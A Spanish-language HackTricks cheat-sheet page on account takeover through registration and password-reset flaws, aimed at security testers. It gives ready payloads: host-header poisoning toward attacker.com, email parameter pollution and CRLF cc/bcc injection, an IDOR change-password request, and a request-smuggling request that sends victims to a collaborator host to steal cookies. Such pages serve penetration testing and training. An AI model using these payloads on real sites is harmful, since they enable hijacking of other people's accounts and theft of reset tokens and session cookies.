# Vulnerabilidades de Registro y Toma de Control
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
{% endhint %}
## Toma de Control de Registro
### Registro Duplicado
* Intenta generar usando un nombre de usuario existente
* Verifica variando el correo electrónico:
* mayúsculas
* \+1@
* añade algún punto en el correo
* caracteres especiales en el nombre del correo (%00, %09, %20)
* Pon caracteres en negro después del correo: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Enumeración de Nombres de Usuario
Verifica si puedes averiguar cuándo un nombre de usuario ya ha sido registrado dentro de la aplicación.
### Política de Contraseñas
Al crear un usuario, verifica la política de contraseñas (verifica si puedes usar contraseñas débiles).\
En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales.
### Inyección SQL
[**Revisa esta página** ](sql-injection/#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro.
### Toma de Control de Oauth
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### Vulnerabilidades de SAML
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Cambiar Correo Electrónico
Cuando estés registrado, intenta cambiar el correo electrónico y verifica si este cambio es validado correctamente o si puedes cambiarlo a correos arbitrarios.
### Más Comprobaciones
* Verifica si puedes usar **correos desechables**
* **Contraseña** **larga** (>200) conduce a **DoS**
* **Verifica los límites de tasa en la creación de cuentas**
* Usa username@**burp\_collab**.net y analiza el **callback**
## **Toma de Control de Restablecimiento de Contraseña**
### Fuga de Token de Restablecimiento de Contraseña a Través del Referente
1. Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
2. Haz clic en el enlace de restablecimiento de contraseña
3. No cambies la contraseña
4. Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
5. Intercepta la solicitud en el proxy de Burp Suite
6. Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.
### Envenenamiento de Restablecimiento de Contraseña
1. Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
2. Agrega o edita los siguientes encabezados en Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Reenvía la solicitud con el encabezado modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Busca una URL de restablecimiento de contraseña basada en el _encabezado host_ como: `https://attacker.com/reset-password.php?token=TOKEN`
### Restablecimiento de Contraseña a Través del Parámetro de Correo Electrónico
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR en Parámetros de API
1. El atacante debe iniciar sesión con su cuenta y ir a la función **Cambiar contraseña**.
2. Inicie Burp Suite e intercepte la solicitud.
3. Envíelo a la pestaña de repetidor y edite los parámetros: ID de usuario/correo electrónico\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Token de Restablecimiento de Contraseña Débil
El token de restablecimiento de contraseña debe ser generado aleatoriamente y ser único cada vez.\
Intente determinar si el token expira o si siempre es el mismo; en algunos casos, el algoritmo de generación es débil y puede ser adivinado. Las siguientes variables podrían ser utilizadas por el algoritmo.
* Marca de tiempo
* ID de usuario
* Correo electrónico del usuario
* Nombre y apellido
* Fecha de nacimiento
* Criptografía
* Solo números
* Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9])
* Reutilización de token
* Fecha de expiración del token
### Filtración del Token de Restablecimiento de Contraseña
1. Active una solicitud de restablecimiento de contraseña utilizando la API/UI para un correo electrónico específico, por ejemplo: test@mail.com
2. Inspeccione la respuesta del servidor y verifique `resetToken`
3. Luego use el token en una URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Restablecimiento de Contraseña a Través de Colisión de Nombre de Usuario
1. Regístrese en el sistema con un nombre de usuario idéntico al nombre de usuario de la víctima, pero con espacios en blanco insertados antes y/o después del nombre de usuario. por ejemplo: `"admin "`
2. Solicite un restablecimiento de contraseña con su nombre de usuario malicioso.
3. Use el token enviado a su correo electrónico y restablezca la contraseña de la víctima.
4. Conéctese a la cuenta de la víctima con la nueva contraseña.
La plataforma CTFd era vulnerable a este ataque.\
Ver: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Toma de Control de Cuenta a Través de Cross Site Scripting
1. Encuentre un XSS dentro de la aplicación o un subdominio si las cookies están limitadas al dominio principal: `*.domain.com`
2. Filtre la **cookie de sesiones** actual.
3. Autentíquese como el usuario utilizando la cookie.
### Toma de Control de Cuenta a Través de HTTP Request Smuggling
1\. Use **smuggler** para detectar el tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Elabore una solicitud que sobrescriba el `POST / HTTP/1.1` con los siguientes datos:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con el objetivo de redirigir a las víctimas a burpcollab y robar sus cookies.\
3\. La solicitud final podría verse como la siguiente
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone informa sobre la explotación de este error\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Toma de Control de Cuenta a través de CSRF
1. Crear un payload para el CSRF, p. ej: “Formulario HTML con envío automático para un cambio de contraseña”
2. Enviar el payload
### Toma de Control de Cuenta a través de JWT
JSON Web Token puede ser utilizado para autenticar a un usuario.
* Editar el JWT con otro ID de Usuario / Correo Electrónico
* Verificar la firma débil del JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## Referencias
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}